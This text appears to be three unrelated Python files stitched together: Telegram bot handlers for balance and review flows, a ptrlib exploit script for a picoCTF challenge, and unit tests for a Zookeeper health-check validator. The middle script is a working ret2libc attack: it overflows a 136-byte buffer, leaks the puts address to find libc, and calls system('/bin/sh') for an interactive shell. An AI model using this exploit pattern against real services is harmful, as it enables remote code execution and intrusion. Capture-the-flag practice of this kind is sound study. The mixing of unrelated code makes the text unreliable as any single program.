async def help_message_h(message: types.Message, state: FSMContext):
    await bot.send_chat_action(message.chat.id, 'typing')
    if await sql.get_sub(message.chat.id):
        kb = keyboards.help_kb
        res = await bot.send_message(message.chat.id, *Texts.help.pair(), reply_markup=kb)
        await sql.upd_inline_message(message.chat.id, res.message_id, *Texts.help.pair())
    else:
        await bot.send_message(message.chat.id, *Texts.help_auth.pair())

@dp.callback_query_handler(text='about')
@exc_handler
async def about_inline_h(query: types.CallbackQuery):
    kb = keyboards.help_kb
    await update_inline_query(query, *Texts.about_us.full(), reply_markup=kb)

@dp.callback_query_handler(text='cancel')
@exc_handler
async def inline_h_payments_choice(query: types.CallbackQuery):
    await update_inline_query(query, *Texts.cancel.full(), reply_markup=keyboards.main_menu_kb)

@dp.callback_query_handler(text='cancel', state=[ReviewFSM.rating, ReviewFSM.comment])
@dp.callback_query_handler(text='main-menu', state='*')
@exc_handler
async def main_inline_h(query: types.CallbackQuery, state: FSMContext):
    await state.finish()
    await delete_message(query.message)
    await query.answer(Texts.cancel.answer)
    await bot.send_message(query.message.chat.id, *Texts.main_menu.pair(), reply_markup=keyboards.main_menu_kb)
    await sql.upd_inline_message(query.message.chat.id, 0, '')

# _______________ Баланс _______________

@dp.message_handler(commands='balance', state='*')
@dp.message_handler(Text(emojize(':scales: Баланс'), ignore_case=True), state='*')
@dp.async_task
@private_and_login_require()
@exc_handler
async def help_message_h(message: types.Message, state: FSMContext):
    await bot.send_chat_action(message.chat.id, 'typing')
    text, parse_mode = await agreements.get_agrm_balances(message.chat.id)
    await bot.send_message(message.chat.id, text, parse_mode, reply_markup=keyboards.main_menu_kb)

# _______________ Отзыв _______________

@dp.message_handler(Text('💩 Оставить отзыв', ignore_case=True), state='*')
@private_and_login_require()
@exc_handler
async def review_start_inline_h(message: types.Message, state: FSMContext):
    await bot.send_chat_action(message.chat.id, 'typing')
    await state.finish()
    kb = Keyboard.inline([keyboards.get_review_btn(), keyboards.back_to_main], row_size=5)
    await ReviewFSM.rating.set()
    res = await bot.send_message(message.chat.id, *Texts.review.pair(), reply_markup=kb)
    await sql.upd_inline_message(message.chat.id, res.message_id, *Texts.review.pair())
    await bot.logger.info(f'Start review [{message.chat.id}]')

@dp.callback_query_handler(Regexp(regexp=r'review-([^\s]*)'), state=[ReviewFSM.rating, ReviewFSM.comment])
@exc_handler
async def review_rating_inline_h(query: types.CallbackQuery, state: FSMContext):
    async with state.proxy() as data:
        rating = int(query.data[-1])
        if 'rating' in data.keys() and data['rating'] == rating:
            data['rating'] = 0
        else:
            data['rating'] = rating
        if 'comment' in data.keys():
            if data['rating']:
                await review.finish_review(query.message.chat.id, state, data['comment'], rating)
                await query.answer(Texts.review_done.answer)
                return
            else:
                kb = Keyboard.inline([keyboards.get_review_btn(data['rating']), keyboards.review_btn], row_size=5)
                text, parse_mode = Texts.review_full.pair(comment=data['comment'], rating=data['rating'])
        else:
            kb = Keyboard.inline([keyboards.get_review_btn(data['rating']), keyboards.cancel_btn], row_size=5)
            text, parse_mode = Texts.review_rate.pair(rating=data['rating'])
        await edit_inline_message(query.message.chat.id, text, parse_mode, reply_markup=kb)
        await query.answer(Texts.review_rate.answer.format(rating=data['rating']))

@dp.message_handler(state=[ReviewFSM.rating, ReviewFSM.comment])
@exc_handler
async def review_comment_message_h(message: types.Message, state: FSMContext):
    async with state.proxy() as data:
        data['comment'] = message.text
        rating = data['rating'] if 'rating' in data.keys() else 0
        await delete_message(message)
        if rating:
            await review.finish_review(message.chat.id, state, data['comment'], rating)
        else:
            text, parse_mode = Texts.review_with_comment.pair(comment=data['comment'])
            kb = Keyboard.inline([keyboards.get_review_btn(rating), keyboards.review_btn], row_size=5)
            await edit_inline_message(message.chat.id, text, parse_mode, reply_markup=kb)

@dp.callback_query_handler(text='send-review', state=[ReviewFSM.rating, ReviewFSM.comment])
@exc_handler
async def review_finish_inline_h(query: types.CallbackQuery, state: FSMContext):
    async with state.proxy() as data:
        await bot.logger.info(f'New review [{query.message.chat.id}]')
        rating = data.get('rating')
        comment = data.get('comment')
        await query.answer(Texts.review_done.answer)
        await review.finish_review(query.message.chat.id, state, comment, rating)
        await sql.add_feedback(query.message.chat.id, 'review', rating=rating, comment=comment)
        await sql.upd_inline_message(query.message.chat.id, 0, '')


from ptrlib import *

# sock = Process('./vuln')
sock = Socket('mercury.picoctf.net', 49464)
elf = ELF('./vuln')
libc = ELF('./libc.so.6')

rop_pop_rdi = 0x0000000000400913 # pop rdi ; ret
rop_pop_rsi_r15 = 0x0000000000400911 # pop rsi ; pop r15 ; ret
rop_ret = 0x000000000040052e # ret

# ## leak libc address
payload = b'A' * 136
payload += flat([
    # p64(addr_reloc),
    p64(rop_pop_rdi),
    p64(elf.got("puts")),
    p64(elf.plt("puts")),
    p64(elf.symbol("main")),
])

sock.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!\n', payload)
print(sock.recvline()) # recv AaAa...
puts_addr = u64(sock.recvline())
libc.set_base(puts_addr - libc.symbol('puts'))

# log
print("puts: {}".format(hex(puts_addr)))
print("libc base: {}".format(hex(libc.base())))
print("system: {}".format(hex(libc.symbol('system'))))

# ## exec system('/bin/sh\0')
payload = b'A' * 136
payload += flat([
    p64(rop_ret),
    p64(rop_pop_rdi),
    p64(next(libc.find('/bin/sh\0'))),
    p64(libc.symbol('system')),
])
sock.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!\n', payload)

sock.interactive()


import asyncio
import unittest
from typing import Awaitable, Callable

import asynctest

from checklisting.result import MultiTaskResult, TaskResult
from checklisting.result.status import TaskResultStatus
from checklisting.tasks.services.zookeeper import (ZookeeperMntrResonseValidator,
                                                   ZookeeperRuokResponseValidator,
                                                   ZookeeperTask)
from checklisting.testing import setup_tcp_server

class ZookeeperMntrResonseValidatorTest(unittest.TestCase):

    def setUp(self) -> None:
        self._validator = ZookeeperMntrResonseValidator()

    def test_returns_one_result_for_each_line(self) -> None:
        input_lines = [b'key1 value1', b'key2 value2']
        result = self._validator.validate(input_lines)

        self.assertEqual(result.status, TaskResultStatus.INFO)
        self.assertSequenceEqual(
            result.results,
            [
                TaskResult(TaskResultStatus.INFO, '[key1]=[value1]'),
                TaskResult(TaskResultStatus.INFO, '[key2]=[value2]')
            ]
        )

    def test_returns_warning_when_command_not_on_the_whitelist(self) -> None:
        for input_line in [b'not in the whitelist', b'blah not in the whitelists.']:
            result = self._validator.validate([input_line])
            self.assertEqual(result.status, TaskResultStatus.WARNING)
            self.assertSequenceEqual(
                result.results,
                [
                    TaskResult(TaskResultStatus.WARNING,
                               'Please add [mntr] to [4lw.commands.whitelist] property in zookeeper.conf file'),
                ]
            )

    def test_returns_warning_when_command_not_on_the_whitelist_only_for_first_line(self) -> None:
        input_lines = [b'key1 value1', b'not in the whitelist']
        result = self._validator.validate(input_lines)
        self.assertEqual(result.status, TaskResultStatus.INFO)
        self.assertSequenceEqual(
            result.results,
            [
                TaskResult(TaskResultStatus.INFO, '[key1]=[value1]')
            ]
        )

    def test_returns_warning_when_command_not_on_the_whitelist_only_once(self) -> None:
        input_lines = [b'not in the whitelist', b'blah not in the whitelists.']
        result = self._validator.validate(input_lines)
        self.assertEqual(result.status, TaskResultStatus.WARNING)
        self.assertSequenceEqual(
            result.results,
            [
                TaskResult(TaskResultStatus.WARNING,
                           'Please add [mntr] to [4lw.commands.whitelist] property in zookeeper.conf file'),
            ]
        )

    def test_parses_each_line_separately(self) -> None:
        lines = [b'not in the whitelist', b'blah not in the whitelists.', b'key1 value1']
        result = self._validator.validate(lines)

        self.assertEqual(result.status, TaskResultStatus.WARNING)
        self.assertSequenceEqual(
            result.results,
            [
                TaskResult(TaskResultStatus.WARNING,
                           'Please add [mntr] to [4lw.commands.whitelist] property in zookeeper.conf file'),
                TaskResult(TaskResultStatus.INFO, '[key1]=[value1]')
            ]
        )

    def test_tries_to_parse_possibly_invalid_lines(self) -> None:
        result = self._validator.validate([b'key1value1', b'key1 value1 value2'])

        self.assertEqual(result.status, TaskResultStatus.INFO)
        self.assertEqual(result.results[0].status, TaskResultStatus.INFO)
        self.assertEqual(result.results[0].message, '[key1value1]=[]')
        self.assertEqual(result.results[1].status, TaskResultStatus.INFO)
        self.assertEqual(result.results[1].message, '[key1]=[value1 value2]')

class ZookeeperRuokResponseValidatorTest(unittest.TestCase):

    def setUp(self) -> None:
        self._validator = ZookeeperRuokResponseValidator()

    def test_returns_success_for_imok_response(self) -> None:
        input_lines = [b'imok']
        result = self._validator.validate(input_lines)

        self.assertEqual(result.status, TaskResultStatus.SUCCESS)
        self.assertSequenceEqual(
            result.results,
            [
                TaskResult(TaskResultStatus.SUCCESS, 'Received [imok] from Zookeeper for [ruok] command'),
            ]
        )

    def test_returns_warning_when_command_not_on_the_whitelist(self) -> None:
        input_lines = [b'not in the whitelist']
        result = self._validator.validate(input_lines)
        self.assertEqual(result.status, TaskResultStatus.WARNING)
        self.assertSequenceEqual(
            result.results,
            [
                TaskResult(TaskResultStatus.WARNING,
                           'Please add [ruok] to [4lw.commands.whitelist] property in zookeeper.conf file')
            ]
        )

    def test_returns_warning_when_line_is_not_imok(self) -> None:
        input_lines = [b'foo']
        result = self._validator.validate(input_lines)
        self.assertEqual(result.status, TaskResultStatus.WARNING)
        self.assertSequenceEqual(
            result.results,
            [
                TaskResult(TaskResultStatus.WARNING, 'Line [foo] is not [imok]')
            ]
        )

    def test_parses_only_first_line(self) -> None:
        input_lines = [b'imok', b'foo', b'bar', b'not in the whitelist']
        result = self._validator.validate(input_lines)

        self.assertEqual(result.status, TaskResultStatus.WARNING)
        self.assertSequenceEqual(
            result.results,
            [
                TaskResult(TaskResultStatus.SUCCESS, 'Received [imok] from Zookeeper for [ruok] command'),
                TaskResult(TaskResultStatus.WARNING,
                           'Received more than 1 line from Zookeeper for [ruok] command. This was unexpected.')
            ]
        )

def _zk_responses(ruok: bytes = b'imok', mntr: bytes = b'key1 value1\nkey2 value2') \
                  -> Callable[[asyncio.StreamReader], Awaitable[bytes]]:
    async def _handler(reader: asyncio.StreamReader) -> bytes:
        request = await reader.read(4)
        if request == b'ruok':
            return ruok
        elif request == b'mntr':
            return mntr
        return f'Unknown command [{request}]'.encode('utf-8')
    return _handler

def _zk_success_response() -> Callable[[asyncio.StreamReader], Awaitable[bytes]]:
    return _zk_responses(b'imok', b'key1 value1\nkey2 value2')

def _zk_not_on_whitelist() -> Callable[[asyncio.StreamReader], Awaitable[bytes]]:
    msg = b'Command not in the whitelist'
    return _zk_responses(msg, msg)

class ZookeeperTaskTest(asynctest.TestCase):

    async def test_successfull_responses(self) -> None:
        (host, port) = await setup_tcp_server(self.loop, _zk_success_response())

        task = ZookeeperTask(host, port)
        result = await task.execute()

        self.assertEqual(result.status, TaskResultStatus.SUCCESS)

        self.assertCountEqual(
            result.results,
            [
                MultiTaskResult(
                    TaskResultStatus.SUCCESS,
                    'Task success.',
                    [
                        TaskResult(TaskResultStatus.SUCCESS, 'Received [imok] from Zookeeper for [ruok] command')
                    ]
                ),
                MultiTaskResult(
                    TaskResultStatus.INFO,
                    'Task completed. See subtasks for details.',
                    [
                        TaskResult(TaskResultStatus.INFO, '[key1]=[value1]'),
                        TaskResult(TaskResultStatus.INFO, '[key2]=[value2]')
                    ]
                )
            ]
        )

    async def test_both_not_on_whitelist(self) -> None:
        (host, port) = await setup_tcp_server(self.loop, _zk_not_on_whitelist())

        task = ZookeeperTask(host, port)
        result = await task.execute()

        self.assertEqual(result.status, TaskResultStatus.WARNING)

        self.assertCountEqual(
            result.results,
            [
                MultiTaskResult(
                    TaskResultStatus.WARNING,
                    'Task error. See subtasks for details.',
                    [
                        TaskResult(TaskResultStatus.WARNING,
                                   'Please add [ruok] to [4lw.commands.whitelist] property in zookeeper.conf file')
                    ]
                ),
                MultiTaskResult(
                    TaskResultStatus.WARNING,
                    'Task error. See subtasks for details.',
                    [
                        TaskResult(TaskResultStatus.WARNING,
                                   'Please add [mntr] to [4lw.commands.whitelist] property in zookeeper.conf file')
                    ]
                )
            ]
        )